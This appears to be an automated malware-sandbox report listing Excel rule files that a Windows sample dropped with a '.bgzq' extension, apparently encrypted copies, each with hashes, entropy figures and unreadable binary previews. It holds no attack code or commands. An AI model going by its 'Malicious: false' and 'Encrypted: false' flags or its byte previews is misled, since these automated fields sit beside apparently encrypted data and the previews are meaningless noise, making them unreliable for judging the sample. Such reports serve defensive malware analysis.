Preview:	<?xml]......^4......P.M..P~..]...Te.....^.;...^..8..9.I.2.....e.?.M..D>.q..^1.3.c.......k.".gY..o.4...z...'@@..$....."+.}.C...~....T....0Y.&.x:B..0....../.V.]C....b.i..!..,.oVZj.2..s2A....F7;.0.l....{t..t....B........w....<...~N.F.L.f....;D.......L..-.b....}.m.C,.W..n.......V)P.tNx.IN.# k....... ....._.Y...?Z.}...m7{..Xw.r.......7o~U[...O...I#.h....3z........i]......C_....[...t.._N...>.Z^#l..].Y!...bXq..............eF!Q8. ....%.:...p.Z........!6...@..0..I}B...y......`.g....c..Z..T.u....3.U.......E#.....#....a.s.7.4.r#.t.............lO.a.....XDi06...h7....d..x.......b.j..Iw...C2^..hu....=.+2..b.~h....d.:..Xc.S6..Z..=U0...k{.#..2d[7&..R..DM...1.n..B.~.......d..{t.^..o.Rx\|......\|.&Z.f..y..D.........G.....P.d...f.orG..........o.M...5$\|...Xw............v..t..l.\...se....m........r.....MR.."}..u....l.....F..p.....lF.4../].l......\,.+V#....... .._.-m.x.{...;?.f!.y.%..ws...-.......w..CP..$/....<...t.t-.:.8...N~.._.L:.........S.Ly..<..V+...\|.(.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.920757333444493
Encrypted:	false
SSDEEP:	48:VOdYin9LTFR7eKDQ368C4yVBwbzcbGujIWEZfyo4MxhIRuFqFD:cGi9f6ar/VBwbIjmfK8hIME9
MD5:	BD0F7DD62376A72AD9F40839A4E08505
SHA1:	8621C96C0DF770C00752AF4D48E0D7267F0F6A4D
SHA-256:	C3EA130EC914E4886FAF73C4403C784716BA6A2B05299BD08681FB228E78BC2B
SHA-512:	C88677F298D80267E82E1D45D7D1493CAFC81373046BCF2609C5C8411279855E5FE47692E6C1C0A8EA7354FC2A2E7B8450E56451EC63DFAA5551B2AAE9FDD156
Malicious:	false
Preview:	<?xmlk..},.z.SglH^.J.:..J...>.%...f...T..J..u].....\QX:Z..c>. =r.....s....f.{...I.b%B.~.....1C_....L.h..0.....faYJ.&...v.v+.(3.....`.:>.%..W...o..X.b...`k..&p./.r.....i...iK'!.v.....b.....1. .X7R.......4y...../'..j.y.v.$..3,..5..,:.Mv.}..%..8...P.SU.+..=..X.......G'.}.......l.9.y......N.C'.(.i.^1-.$N.a$"3m.w..1......sL...&.@.e]..s(.:.Z`_......[....#..o....f..N(]=m....I.P.p.......cI.jY.'......Pn.}.#.74[gE.......C.......Z...^u&.]c.QU....(;..yi!.k..Xr)ue".Agwcl).......M!?F.7..m..W.1.ne..(;.o..t0.....=[........4........B.9.-.G..c..:4.<.8Q.......'?...l.&..........]G.X...n......S........@..M.AE.d.....o .d.z.`..b...k.da...uW.P. ..S...w..o.@k..$<..k.b...K.....<.,..c.L..T........r.........%?.Lm.R..y..\E:..W.q....F.{S....#O,~B.Ax.v]<.L...yA\|..\|.P<&..N... .0....y'f.@d..N&3...2.pLs.&=PQ.o..l+........m.............y..@.....{.......u.L..........N.@ (!...)...<5.;..&i......m........O.....".6....+.....G..\.O4w{.+qT..f.Q.n..b!#.PD...d.t.f.LU..>..c..Z...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.927281069389678
Encrypted:	false
SSDEEP:	96:Ph/kpEjoH9KYdNlmMbYW41MZHKmsO0oR19:JMpTH93zUMbYRMcmP
MD5:	8410E4B98DFC561C7DCF9526891C7CD5
SHA1:	F9540D48A6DA7095D595B6B4D43238F228774243
SHA-256:	7EBF36A3507B8BB26ED6D0F110F03589240C4994D631C67C6284C8B3C894871D
SHA-512:	638428E8CCFF3F243D4C964D89A7F629A4600352216861DFA3B9B2FB6C7DF35D15794C7134F059712A88B4AE502246420E1F12ADA68B5F06CF9C877CAF2E373E
Malicious:	false
Preview:	<?xml58=..].N.v..a.....G#.B ....aC.BS..Z.\..w......V,......t...of..N...K}..y..T1....Qe...A. b#.dbz...W._..V...4..........p./d....!;zYc.w..G..2..%Z.c..V..Z.....0n.<.....m..-..q..EF.....b...#^nC...:..;E5+%0...m...Gg.&c.r.8Bz..C.t`.m.fZ......y..5..75.s.m...g1.!......6...$J..'X.7..m..PO..n.Z...9..V.m....G..8C......S.e...n..e.B._A....4,t."ij.T=L....6@...-I...?w.8.0./..W.....>..._.1........rD\.....)..h....{............TQ...G}PRRcs.<..L....x...lS1.T.].gv...F....P.yA...V]..U(...G....A...P.....L.c.N.......C.9w..D.X.X...$.N#..I...@....:L...Ro..H}<..H.-~...S1.`,}`i..b...E.a.P..S..).....g......................=g5.......S:....lF.].i.(!....T~.]p].Mw..+I......pQ.Z.....;......j.K.~......?..@...b.9\%..4.X....Vz.p.}).>...n..c.>..@,..`.?..3....I6.&......d..L.....%..j......'P<.......?5}....7......"..m..{d..."r.V.....L.-....o..K...]e.....~t.9).bE....._X...:..S....`.....bN.G....}.S.h...3...m.tn.&..pA.2...P.)..b.i.M.'..._...E.$..D.l...@.b)n.....2W\|....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.9537568229584705
Encrypted:	false
SSDEEP:	96:8aBWUrMtU70md9GRABJXEjLNbhoVlH3wqHoWxkR4v3zq874WJak+w1rbDI8Pef9:8aDQqGR8JeHoVBwKLkR4fzqul+obDRP4
MD5:	9F7FCA9CCF05496CF0DBCDB70E27BE6D
SHA1:	98483AAB1733528C222A39FBFA8B8058CC316947
SHA-256:	C5249CF81CB34FA506758DECDC582A93EE4C629BAE88951A05991B368D111B81
SHA-512:	C7791274EDDB9F4CB8E74587DE8C2CF28A060B9A643172319540C94A1BD62B4E71006D4BD8FFFF229EE492CC63767491C691FBE38C0F5EBA87D52B6E54CCA2B0
Malicious:	false
Preview:	<?xml.....ZW...(..:.#.Y.......5..UZ...i...I.6.......H 9EZr.O.+..c..O~5...5>.................@.LTl.....b..9x.K..V>.W......g.9.hI..>...v..uw.<K{...ak.<...B7(..EH{V..b[.....4J....li..OV.S...N..aZ..P...."...]...[..6s..o.ne.......}......r..G.I..kD$.L-`_Q....F......}.r.p,W8.W....mxC..X.n.b.J.B...?P....~....F.@0...U............pkc..=.x5:..I.=.......w..[.-\...7.....b..+g..v..B7nX..a...R.u.r...(....%...7P.....t.[..J.p.u.,.$.Pe_.N&./.lr.... {-.....,.k...M......T..... .`..Y.H.......;.m1...P..&..=._K;...y....F.)...........-..a.D.....5.s'( +..E.%\|.9G.S.w.Sn=@l.!......~........)X...0...3%......6=*.up.Jh.....v..(\|..(.......U......Q..{..`................X.s =..a.....i.m.[Z.z..G]0.F....z?~0......W......}.~k..3.r.+.aNBs...........L8...X...e...f".....<&.Y.".Y..{%.........//..=.....w..s.k{.U..2..J,......x^:.Tb,...AK..pX6.F.".H..=..:Z.......0EU.Ml46V..W.'e.$+...YS(..mH.?.rS.....oK.-.t.....=.&x...<4.......".(....+.1.p....?o.T<.T...'G..V..J..v..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.976540646959763
Encrypted:	false
SSDEEP:	192:wOVB93pzjFmU1Wfylnym1QMKMwyuUXcQ+yE6f:5Ll1WEZ1yyugSyEu
MD5:	C50620C0D5BB653759C8C8B904C6F13F
SHA1:	D9FB9CA05F9987362822F256FB3CF44E14A76722
SHA-256:	191A03DEA3F10AA0E533F11D01877AC086CF1F51579D41BD375E66837AD4CC27
SHA-512:	09E7C21749FCA02FAD63682F1E86B1B5951AE49DDA8F7D5224B3EEB27E1C107D5490A527029B175D995DA37EA7246880CBB64F4C69013768E7BBD78EAA60DBAE
Malicious:	false
Preview:	<?xmlM>?\mt.....M.j.......PZ8..L...%...y..$....G.4.N.+f.....Q....n....S.)....4....B...D.@.mK...NpA7s&.2..=n]W.\...l........s.Yj.uaZ.r .."...R.-c.`..v@>Z..k....RJ..),.R BK..{e..#......x.l..6..cx.......gk...n.&. .+..o.......t.U....N.......I/....n.X.]<........<9.a.. =.k.....t...y.i...,.\.......?.....~tH.JoR`..Pt.fm...ji...B..uh)..].z....>9..\...WbO.Em.V..)C....^.h\.,=0$.av..b.{h...F.,.0..t.O.{.(n...^._.VY...=.(.C.......s......8~..js.A.....ir<...WY.....DK..q.P+....&.......M.........8...a.........F)!...u........2.BU........Y.Dp"..GA..'8......bX,.~.e..a`...TO...\.S.....g.E...n.d...{.../f.n..i.:...F.\|h'.......Z.7...T.......E........s....w.8W.}=..HS.......=.{Jl...O.`....~..%.......F/..b/.;,.I?.\6.n8...g3...-...i.s.(..........g@.'.]g.QY..w`...].......X...D[..O`p."....e..`.X.....*SN..V_......_...Sg.y...R:.l.L.U....EaKs?2Y .......x.l....Z..T....X.gx8)..hl..4H...9W.e1... Q....!.1.:3...;jG..VQ...".>....jvp.D.SwFqb...=S..XV...P7.._..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.97264151759551
Encrypted:	false
SSDEEP:	192:iDs1m20G3JoyssuUPwer/qsSMOv9pn6qLtfdyAJ:E+Z0B+PNyz9v9ZZfx
MD5:	00D1D7589F2BE8EDE13FB71C08945705
SHA1:	41CF19AF6665ECD91634912F73F82FCBBB85D982
SHA-256:	06D4725787763ABF14270A1E31C166F61CA3AE1712D5301F879460479FA63BB6
SHA-512:	5A7254CDE8DAE973682091BA178126FFB641F0A6AE069321F5BCBBD8EEAFBB45E41FEFB0D07E67AD6FE35D049410EB5C6F6D3BF917BC5E7E69FE7CCC598721AE
Malicious:	false
Preview:	<?xml.........1W.^......w.K.s.I...p....@..SC.=.........>..!..`Ts.L/Ot9b...u^..W.<.....A`q.(.&...F.oR6.W.." .-.O....=...^...=..xY..._Z........l.yK...j...s.O'5:.d.....z..o..;."A.k...n4Vbr).CSX....T.A..6...`g..>.......5.Nfr..eB J.Z.=.(1...b,(Y..P...._..Y7.....+...&..j.v..W3o....-.R.).hj.Q.7...5s.....XB.r..........B..@..\.e......^QjS......UQ.j..M+.h.)XO...0.9D....lI0q.W.@D....[$......`yFf...A..ED..H\..)/;J9!.'.ow...a......:Ae.....x.~.....aWO..?..C.q.....i.+......Mer.jv....K\I).&..6f.8y3ZD.D.b.%....{..."..M....U..]....Qq...N..%.px/..;.mq....\|......u$X".".'..7.`........F_...r.sC......K.n{m..Zg.K}.".8/.]...'.......K.I7.D.$g.ps..&.+.0~B89.'...K.8.......u..].iG.Z.`.\|..\.s.m...B#....G...t.K.4,x.w2.%v9eK.t....&-.$. ..,(}.....B.J.....6.t...ICf..\|.T...]..\c...7...e.9K>w@......B.M..}3BT..j.f.[...,..4.$k~...$.. ..e..e.......\|.}.mOGS.r....X+.>.&,xq..........X.....Hn..6.c .a...b.t.>.sB..:.E.S*.....~"Jead1..n...Z.Ls..p....66.\|.(.j...]...iu...$&........o`.Y

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.862939755185907
Encrypted:	false
SSDEEP:	48:QPyFWiR7iKjw819E+Iklr6hIJyjAA4LFD:QMzOKjwMFrnJtzL9
MD5:	102EE651616D07F25E91AE3E74B275AF
SHA1:	973B6E11C3A79A71A7C347185E913B2B51931241
SHA-256:	D18136BA5AF186A1A27D84AAD7AAF6312D6F07273DB3EFA1F2FC1D179C736487
SHA-512:	BB93287C82CF46DEE4F8C631BBF71B583737B4089349C75D20F12E46EA51F8243F249D452318989F42DBDFA638277946C303191F343BD67D5AD29192A2CFB1C1
Malicious:	false
Preview:	<?xml.....u`.c.......$..lK..PS...<'_.&A....:[..O.......i..v..yC....u.'..{.)2.}+.\<.PJ...Rr.9..g......J.b=...p.e..pVD....^.Y;.6..P..wm...Gaa..zz....9\..I8..P....]0.a.N..S?.......4..q... !@W1k.!...#.&8...1....m).H...=W+o.>`PX_...........pX..F.~..C...).%..)O.. ]C..J@Z..w......:.F.fzj$5(-\|.2.....s..H....a ....^..t<b..4XN.......Q...#).HLsFD..l..8w...WEa&7..=/.%..........1.h.0.u%=.f...0f$.d..R.......k.,$...Hz.......>"3JJ..........M.{.........k!..=_f$..CX.W..)_.P......t#.....7..2gr.o.E...&.X[l............h.0...X..'Wv......z9:..F......E.....OY....z.M.4.&e......O9....~...!.`=..o9.E_.=Elc.BO(.......Q...\@hT{.<....W....W.0.c.'..}._.8S....'W s>s..^'/"./g...o..5.o.5..O.McTD.`@.U.[.....{y.'H(.3.........xn.M-R..%...I6...u...qH.s.....X....-a..Y6SA.8.(...tU...z...,{.....%.O..3. j.d....x.UQ\S.?....:....C..kW7...6....#...MX...i..I...........c.X...C...f....6..W..2...YH.5.G)7....b.r....Z..x.v.<CgzADr.......d.5G......4oE..<...o{.M...Y......'...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.88657421889475
Encrypted:	false
SSDEEP:	24:LeJvei919KcwPeBbaeKyBiGeZeh1ugcH711+Mb6z3bLLzuvartJ0rKFeFlz9y+pv:LeJx9z9KOiQ1J40Mb6vvkItq39yqZ7FD
MD5:	DCD2FD0003E4E22F4F61200EB7022DA7
SHA1:	48C434DFD32A0F150CA17AE02FB14494B236CCB2
SHA-256:	02FBDF41CBB3308A1A171CA33FD7D9568D601A2A8BAFD032D60D3CF0928CA196
SHA-512:	F0264B3410F685060BFEDAA2861960ECD3510CD9310331C4A1DEDF59ACBA1ABBBED1DDF224ADC6D60F8A98290E2F60728E9FEDBDE8491067D18C060468E87B8A
Malicious:	false
Preview:	<?xmlp)..j. ....1..(...5.L."Y..s..H...\.<....)P........j..-.A.......$E.z..z......iI..4.!...A..]..q.}..F..Wb.d.......'....A#....a..5..(.2...Z..../..!..r2..@..(.....5.e{...+.....r"..r.E^.O..`wx.@X......'......5$H6&...d6..<.qH'GMy$..{.!...A..V.=...qg.......Cg..$X.i....{Z..2.....#......L1.K....].9<to....7..@.g..%.-2..Pm:w.<.uU.p..^g.....b~....).@..i.C.-........@....8.....Vccs...d#3...o...9.'SiS"m.Y......I.p..3[.n]u..I.@Y...jEC.6ua..0...0!.......D..._.........!..Ge.7N^....<..g.+O.R..;O..Wq.GDRqi..&\|/q...+i............U}5..?....P(...PH..F..L+....... ....0.<p;.......1.T..*-.&.n.......`)...M..d.r^...-~qx..9.=.....v...tr..J1...!..^:.1.......;O.].....A.,.q"....S^..L."..n.xXn...c>...;...Gvb..Z.\. 4..m>..A.%.-.&L......pp./..b.}...w..Z.W.....i.<....d..X.bN-..(......~...u...oDX.C\..U....B$..r..L...P..m..G....\|.m.aw.}.D.%h%D..IE.3.....W.(....p......&wE.N.h....,.].....Q......L.N.s5....Q..0g.O_....x...D.QA!.A_..E:..k;K. ...':'0..}...P+pA.i...'./.@..o...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.878666622021666
Encrypted:	false
SSDEEP:	48:CHPDPGqjipr8wez+tXIFjQQzwQH4t/TpFD:QDsleStXIFjWQYt/d9
MD5:	944A0F4DCA02B6425C200260C039F146
SHA1:	28C8A8F11DC06C8C1FF21CBD26A97D9E5CEDAF72
SHA-256:	A7510AE5DCB82D5FB31CB59F683CFFAF574BA0F3828F762D8604AF213FCAE4AC
SHA-512:	AC87D0719BD4F36402FA758579764D1DF6A2F765C0BD3B139EA641CBA7A577C676CBA0F254CD92096C3A0927486B4670E7F7A2318297CAC35CEB3FF8B30D3A99
Malicious:	false
Preview:	<?xml!&=...........T.~....>..%..O..1.x.bUu.<./G]p.Vl:..q5K..>:_.L8m.5..n'$...h......f.\|9...n.....'...K....+m>....i...q.{..!s..~u.n...(^..d.1.2J....0.9uU~i......9rJ....D50)..Ef.-o..@...&qw..........8l.T..\d...n+.u....^=\|_.....\2..6O!Jl.y..*........0.Q..J...R...t.+..w.-TL@..1..W..]......_.W<....!.J...'[I..\..J....p.u#.uv.) .U.Y.....=.^v......)K...L...t...+.....J..O....r..Aw).f3...w.....L.~c@..Q.w'b...gFrUq.:7j.....5uK..._5oF.V.b...>~..E..^....6..Hl]...#..~.r.p+....!..&D............9...[Z.....3..ZL...J...=}...w#.o.M.h..N..0.z.W.i.u.%..(..#...R-..KpG...r..../.wa..r..W.k".\.s.....l.c......@..{.X.+.G.%o<...v...i..6. .....I.\|. ..6"..J..Q2....C"6._3^d.....n.,.i.`$P_...4.-....U..U..c....{)oQPZv........R........S?.^.....7...8...[H."z............~..Y...GgK.Z^._..y'.ig......9q;.h.;dE.wS......Sk....$...m.@4V...r..r.../.....7..r.p.1T.+.X..,......C.(..$N..k.H.+m4.{+.. .3...y.G...z...ZXS...%D.{BAc..."..A/.V....l....m........#U~.../...Y/>.VD....~R

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.871758207739941
Encrypted:	false
SSDEEP:	24:Y25jMspJPoVCklZt4B0agy9gJ2jYld183uY/7m4ZpyYXPW+JOX+cVbD:Y25QiaV5Zt4uxJ2jY3CZmoPWILcFD
MD5:	5CF511B89F0340BC9A0C25E77BC36EEE
SHA1:	36FC9AE71A27008CAA636924E010F6092727BDD2
SHA-256:	8C14DB0DD3DB2056083BECA58DB7A1EDC1FE2F597076363351232146C414391D
SHA-512:	94EAC46E90C476A5C278342D2B6A793B525FAA8C98310C80E32B70089019218C1873EFFC3811E16A5D8CBEC83A5357F835B4A912B203E7229DB6271B9D4A9E80
Malicious:	false
Preview:	<?xmlj##..p..q.{...c..Z.=.B.......\.<~.......u.....F.]X_.+.....Y...........m.....f)...,..\|s,.o......1.......m........5d...o....Qv8\|..q.D.....z'\..D>'^.m.......8t...3.4.3..SJ.+..Is....X.Q6.v.&#.a...zb\|.~.A...T.@bsW...A.....N.L).?..~........2.mi.W{._.J..q.yP`....P...(.SW.yl+...=:+.......i.LA.2^.....a.0..8...Q...C....?....;..c.=5.....?.rt$..f..t.......m.9..s......V>....{DfL..h..5..3.q.6......d....iKi$...w...o..........~...8T....H%v~.)...........SR...C{.p.....G..tN....\|I.hOb.;.2....j....}.uK........`b.a.L...5)i.q..C....p..v.....3..'j..q..%7^.e..}....O\..-.....$.W(g>6..~i.<.9j./6.G....l.......%.Q............x..^tj.c-....a~.pu..f#.&VP=..$...FN..RLj..n<C..`.M...f.S#K.W0h$.n#...Zd....:Z.$..m_.)uY.U0.G.e.#...[B.4.P.-.]..T.U.....f%L..2a./..-....B.i..T.{8.LR.Y..=..N.....w..W..~{.\|^c.$v&..ZJ.......-&.9n,f.3..K.L~t.f9~(.8{U.9X...j......_..........S.s.Fk.n...*......\|......v..<.&.o.)\|..W.< ......v=.z....t}..\|D...A.5\|\|.h.T;...}TPE#"h_\/.\|...t.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.8725411995701275
Encrypted:	false
SSDEEP:	24:M5YXDkNKQH20VxFmua/KWtSf3ncQ/6kKpzSgNxZg32XOi+PnHzjSs5J48krjVbD:M5G4VHDvFE/CXcW6kKzNxCDPX/48gFD
MD5:	C90A51FAD7648353C04362F59B7D4CCD
SHA1:	44DBFD8AF4EEA7A0397172F1B70F1356536322FE
SHA-256:	C9BB61B1EBFAAEEAAB530D3B91BF1A20309C2A3521EEAE8D70A3016CC9136A62
SHA-512:	E10CA70C332008A7E404B2A15C012C2B7F175748176A964D09903A782937108EF708D8B6DA1394407BEC1AD5B1789F6996E329F3218EC5D76593B671D2E92086
Malicious:	false
Preview:	<?xml)v.y.bC...^:q.P.K....L.+\..d=.....w^e.+.........pEeG..z...4z0.1...J...0#.\|i..C.W.`.....{_......}.\..].P8F~.T...^.....a9K...........a.4nq.]b.{...#..y..7..a@.SD%.AYP.P.;.......i...#`4Q......U....:v.z..t8...".\.....[..$3....U.....@..7....}......E..Q.c..[8........~...\..c...!.9.u.K].e../U;...d5{.z.......:l...:....\@L.^..lG....;.......V...:`Wm..tj8...a\.n!..U.b.w..(....-../...>X...dR rX}.RE. .&~...~..P...3.)..5...t& I...I=F.............e...o.....>.!..."...]`....c.+>Y .~.x..#..l.....9.,..!....A/...r..nxH...a.s....#.7........i.....n$mC.-...m9C.X#.D.i.....+. .y...t.Tz(a.J...4.k........$...7..J...........2k.................P.&P.Z;.SQ..Qt.....QL...;..............cO`..pV.p..1....q.'Ni/:.E.D.7.GE....QC...@8e..r.....K.x+..2;t.C1...{.s..R..xYmP.T.W.5...4r3'r.y......<vq}.z..f..k>.......iN...t.c/...S6......OS..0...:.e......:a...4f....m..Y..2`1N..z=6......A#......?.%L*9p....\|...rv.9e..t.m..[^..Ho....$$.>\|zf.8...../..bz.-5.1Ew.!5.zky.jrD..>....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.856948581728722
Encrypted:	false
SSDEEP:	48:Fe9qyFuKLnRIDerKDM1Ys+OTG+5otwPVOuHo4hkbmjFD:YLu4nRIDeWDMn5p5otwP2Kj9
MD5:	6A9B67ABF949A09F63F531960ED91EAB
SHA1:	7B55E4BEE59636A7E90E2776224B99E9B8474896
SHA-256:	D2538EB019A3CA6F8075E81A86F5E53FA88C7DFD47C68DF96AA7CF82B60F2594
SHA-512:	4FB468A3981BA7E6FDA59F4C1DE09F7C482C7EEE4D270A55D5C9CD71179029D50A6759979B6D6D90B64F237D22632C9172D0D6332F29C7D696FC064037D409C0
Malicious:	false
Preview:	<?xml......q."%.gAc..T...6....V.B..z..R..9E...O.`..f .'7!...7Rsjq....3..S1...L.W...u.>....8+@^...!#eZ.&L..$3K..@..E..EYGn..L...e`:@P.C.wp.....\...:.V= ...C....e,D....._k......Q,;J...D..Q.\;..:.2rs..A....#.N..@..........4.R....\...au.p..3.G..r80!G{.D........z~%q...P&.o.P...P.Yh....3...mM^...n...S..T..X..../W.:..6.-..._../......uS7S.......d2..:..k.v.c.2)F.'#c..4.@.G...9.x?.r[.....&..4.U=.6k...`....[r4cCk..&..w.....!p.5...m.,..p.:.K...b.\...-.ag:.{..iN.xr..S.O..m0....Qf..N..5..L...9*&.z.LzN.;A..K..YE.1..\..3.K..S.R.....Q....&...'"p.(1S...k.G..r...D+.....[.J..N..^q.$.....d......K......q.pux..#!....1{.u.m.....pa.<d..u..58..G...L.a..?.y.t..?.!..I.8..F..C..,.$..n....{..9..A..y...^QN.F....#S7.g.......l...@...'8J.{..i.....w~...sN.NI.K.B.....{..w\|.V.........P...P..6..@>fSN.J{KWj.h.......K...;.^s.7.......w=.\..@.S.c.:9o.l........Vf....scX0.z..:..[.w.$H.s.\|o.$_...HG..+..y.}.(N...\......F..y.O...!.0.a.....n.z...K...U...O.r.W.........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.774818057859047
Encrypted:	false
SSDEEP:	24:doQIvTWKWukm4TrSNVcden8+ZvZsRmd1IOFyiVbD:eQcTX/YSNVcc8+4RmLhyiFD
MD5:	062097360C0AF8CD991FFAA7888BCDF8
SHA1:	6A949874996A5B63D6C57180229EAA11B5EB1AFC
SHA-256:	2DB922BDBD19B1C8E27741322532E8BC6013AD1BF10594E85044D1A1AC740CD4
SHA-512:	7774EDD956A7AD2918218DB04925C1F3169D517A79A23D2F8A88DF7E4D5CECBCC28385F601C6749C4DEDE73B6D5BA9CC63DA36005BFFDDD3C58F3D1929A24505
Malicious:	false
Preview:	<?xml.3...b...O@X...a..,f.s..hJ.x.!...2h.h.5le.....9W.DyY].5.S........~Mm."..I.$S..pT{.....FjL....bR.k.."zJ....?.{F5.(..3.5.....O..&..z..0..v...b..%...q..G:....n&....+F<.M]Cj..mIf...K'D./<Fl...d!.6#.u......_.#.m,.<.%..T.6.....tcR...(.....j...y..ge.s......fWk:.$..V...x.`8..E.\|... m.1I.1.........^..}.iy..P4..A.^.&.h..........U.z....s...G..b.<...Z./.fb..._.L....w...$...>.y....@.v.q.8...Pg4.n......;.4^.@...........o.....1S.....e..5 ..W...q.........~.Q'U5.$.z;e..lk......w\|....3.F.t.`.IK'/.wI..:..X.. ...u..&)x.(.nJN...xz/...PY.S..,..{...c}...I.7PE...t.. 4.f.....?..9j.0....K6,D..<x....`.Y..AYF.E)ms.4.Q.......}.!.O!N.T....../r.k....mxp....S..!....o&t...S.e.d.....O..../((..h...&>...5.Ge..x...s.'..s.....N.O....;.Z.Xy...S8tD.............p%.m&...+...O.JKZ...[..r...]rH.r..)2.].e.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.93817813826092
Encrypted:	false
SSDEEP:	96:Spfwb0sZf5Rv5vP3AeEd+vr9SPi4e09jA/BlsGRP9:SKVfxg+zUq4e0+/Z1
MD5:	0C08C0C53E9833BA236F1C34DBDA4BB3
SHA1:	B6BC501F56CF81DDD33CE2FFB9A272BC1F33CAC1
SHA-256:	2F94EB39DC573561840A0D8BF8D3880B817A9AC49245CBFC238C92AAA4FF183B
SHA-512:	E180B16E14026B63F0C475AA4B4DE666F48AFCBFB23165AFADE06A1F410551CFE74FBA77F7AC95C735410CA85E45C1D111E787703FFCD2E98554A27E151872CE
Malicious:	false
Preview:	<?xml...\|G..?.0\....bE.2...wI...p.....<..Q..\.....Ec%....X.\|.!...y6MH#(n.g.!G.A<#.&.N:L.?......jK..G.6f.."....E6}..`...rk.h0.OX.\..4.g...~.....Z. .)9'x.xu#.!...4..LX^..6....=....EshO..r....HE.]...N.!mbq.k...{D1..U.J.g...4..zJ..X.....5e.I.......@.@.]x@;].4.......2n....d.p.Z.\|...t%........8..&y.d..3a...t....9.lX...0....F...v..w...n>.....)..O./FT4..$V....`T...wS......OOT.......E.3.-....k3..A.."_"..(6....2..:W.K....qj.Z.@5?..i}^...(..D..._^~.@...;......\Z...+..YZ....t.'.&dp0..D.voS.evz.B.OG.........g.1...H.s...S...7z.k...7.-r.F....Bn~o.}.K....e.i5.WL....M..A.....D%gE@.H.u.Z.`...g...5C#:.........x.w...c.l......,...4.......`.1..$K...0..X.U....F.V`...1.3.o.l..r.......2o5..>.b..E#.Rv.......r*..G.I.X.Oy..x..</.y+j..D."F.....o..X....Q....H.O#E........z6`..Y.[.....JY...1.%...>f..j1....xQh..a....f;Qu.^.C..~./....v../e..P..&(..Q;y..^."..........v...........CstQ ...`........2.r.".....S...'..s;..`..1S.x.\|q...)HM...........)....~.!.u..i..5.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.943950881075091
Encrypted:	false
SSDEEP:	96:zqTHvuJlwZjCj+zqOlb3TAusUDvukcc37TUawacUtQaw39:6nZjCj+Cus2mc3vcaV4
MD5:	6E36144C79C7723776EEE6C1BC03F674
SHA1:	2F029AE1C61ADDBF6AE2FA0C7C6F4ED0CD75B4FF
SHA-256:	C0B7F4C721E38EFF1081872319963295EA3329B000EE943CE4AC041CF4717663
SHA-512:	2041679BA02673FDEF61DBFE1A07EF4070F50860DEC1979E89E7A9126F4E8FE601B90B2712B1660FAE836A30C298818A6C826B6800758EFE708C868863F04276
Malicious:	false
